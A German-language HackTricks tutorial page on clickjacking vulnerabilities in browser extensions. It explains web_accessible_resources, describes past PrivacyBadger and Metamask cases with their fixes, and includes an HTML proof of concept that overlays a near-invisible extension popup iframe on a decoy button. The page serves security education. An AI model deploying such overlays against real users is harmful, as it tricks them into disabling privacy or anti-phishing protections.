8 KiB
BrowExt - ClickJacking
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.
Grundlegende Informationen
Diese Seite wird eine ClickJacking-Schwachstelle in einer Browsererweiterung ausnutzen.
Wenn Sie nicht wissen, was ClickJacking ist, überprüfen Sie:
{% content-ref url="../clickjacking.md" %} clickjacking.md {% endcontent-ref %}
Erweiterungen enthalten die Datei manifest.json
und diese JSON-Datei hat ein Feld web_accessible_resources
. Hier ist, was die Chrome-Dokumentation dazu sagt:
Diese Ressourcen wären dann über die URL
chrome-extension://[PACKAGE ID]/[PATH]
auf einer Webseite verfügbar, die mit der Methodeextension.getURL
generiert werden kann. Erlaubte Ressourcen werden mit entsprechenden CORS-Headern bereitgestellt, sodass sie über Mechanismen wie XHR verfügbar sind.1
Die web_accessible_resources
in einer Browsererweiterung sind nicht nur über das Web zugänglich; sie arbeiten auch mit den inhärenten Berechtigungen der Erweiterung. Das bedeutet, dass sie die Fähigkeit haben, Folgendes zu tun:
- Den Zustand der Erweiterung ändern
- Zusätzliche Ressourcen laden
- Mit dem Browser bis zu einem gewissen Grad interagieren
Diese Funktion birgt jedoch ein Sicherheitsrisiko. Wenn eine Ressource innerhalb von web_accessible_resources
eine wesentliche Funktionalität hat, könnte ein Angreifer diese Ressource möglicherweise in eine externe Webseite einbetten. Unwissende Benutzer, die diese Seite besuchen, könnten diese eingebettete Ressource versehentlich aktivieren. Eine solche Aktivierung könnte je nach Berechtigungen und Fähigkeiten der Ressourcen der Erweiterung zu unbeabsichtigten Folgen führen.
PrivacyBadger-Beispiel
In der Erweiterung PrivacyBadger wurde eine Schwachstelle identifiziert, die mit dem Verzeichnis skin/
zusammenhängt, das wie folgt als web_accessible_resources
deklariert wurde (Überprüfen Sie den originalen Blog-Beitrag):
"web_accessible_resources": [
"skin/*",
"icons/*"
]
Diese Konfiguration führte zu einem potenziellen Sicherheitsproblem. Speziell die Datei skin/popup.html
, die beim Interagieren mit dem PrivacyBadger-Symbol im Browser gerendert wird, könnte innerhalb eines iframe
eingebettet werden. Diese Einbettung könnte ausgenutzt werden, um Benutzer dazu zu verleiten, versehentlich auf "PrivacyBadger für diese Website deaktivieren" zu klicken. Eine solche Aktion würde die Privatsphäre des Benutzers gefährden, indem der PrivacyBadger-Schutz deaktiviert und der Benutzer möglicherweise verstärktem Tracking ausgesetzt würde. Eine visuelle Demonstration dieses Exploits kann in einem ClickJacking-Video-Beispiel angesehen werden, das unter https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm bereitgestellt wird.
Um diese Schwachstelle zu beheben, wurde eine einfache Lösung implementiert: die Entfernung von /skin/*
aus der Liste der web_accessible_resources
. Diese Änderung hat das Risiko effektiv gemindert, indem sichergestellt wurde, dass der Inhalt des skin/
-Verzeichnisses nicht über webzugängliche Ressourcen abgerufen oder manipuliert werden konnte.
Die Behebung war einfach: Entfernen Sie /skin/*
aus den web_accessible_resources
.
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>
<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Metamask Beispiel
Ein Blog-Beitrag über ein ClickJacking in Metamask finden Sie hier. In diesem Fall hat Metamask die Schwachstelle behoben, indem überprüft wurde, dass das Protokoll, das zum Zugriff verwendet wurde, https:
oder http:
war (nicht z.B. chrome:
):
Ein weiteres behobenes ClickJacking in der Metamask-Erweiterung war, dass Benutzer in der Lage waren, auf Klicken zum Whitelisten zu klicken, wenn eine Seite verdächtig war, ein Phishing-Versuch zu sein, aufgrund von “web_accessible_resources”: [“inpage.js”, “phishing.html”]
. Da diese Seite anfällig für Clickjacking war, konnte ein Angreifer sie missbrauchen, indem er etwas Normales anzeigte, um das Opfer dazu zu bringen, darauf zu klicken, um es zu whitelisten, ohne es zu bemerken, und dann zur Phishing-Seite zurückzukehren, die dann auf der Whitelist stand.
Steam Inventory Helper Beispiel
Überprüfen Sie die folgende Seite, um zu sehen, wie ein XSS in einer Browsererweiterung mit einer ClickJacking-Schwachstelle verkettet wurde:
{% content-ref url="browext-xss-example.md" %} browext-xss-example.md {% endcontent-ref %}
Referenzen
- https://blog.lizzie.io/clickjacking-privacy-badger.html
- https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9
Erfahren Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.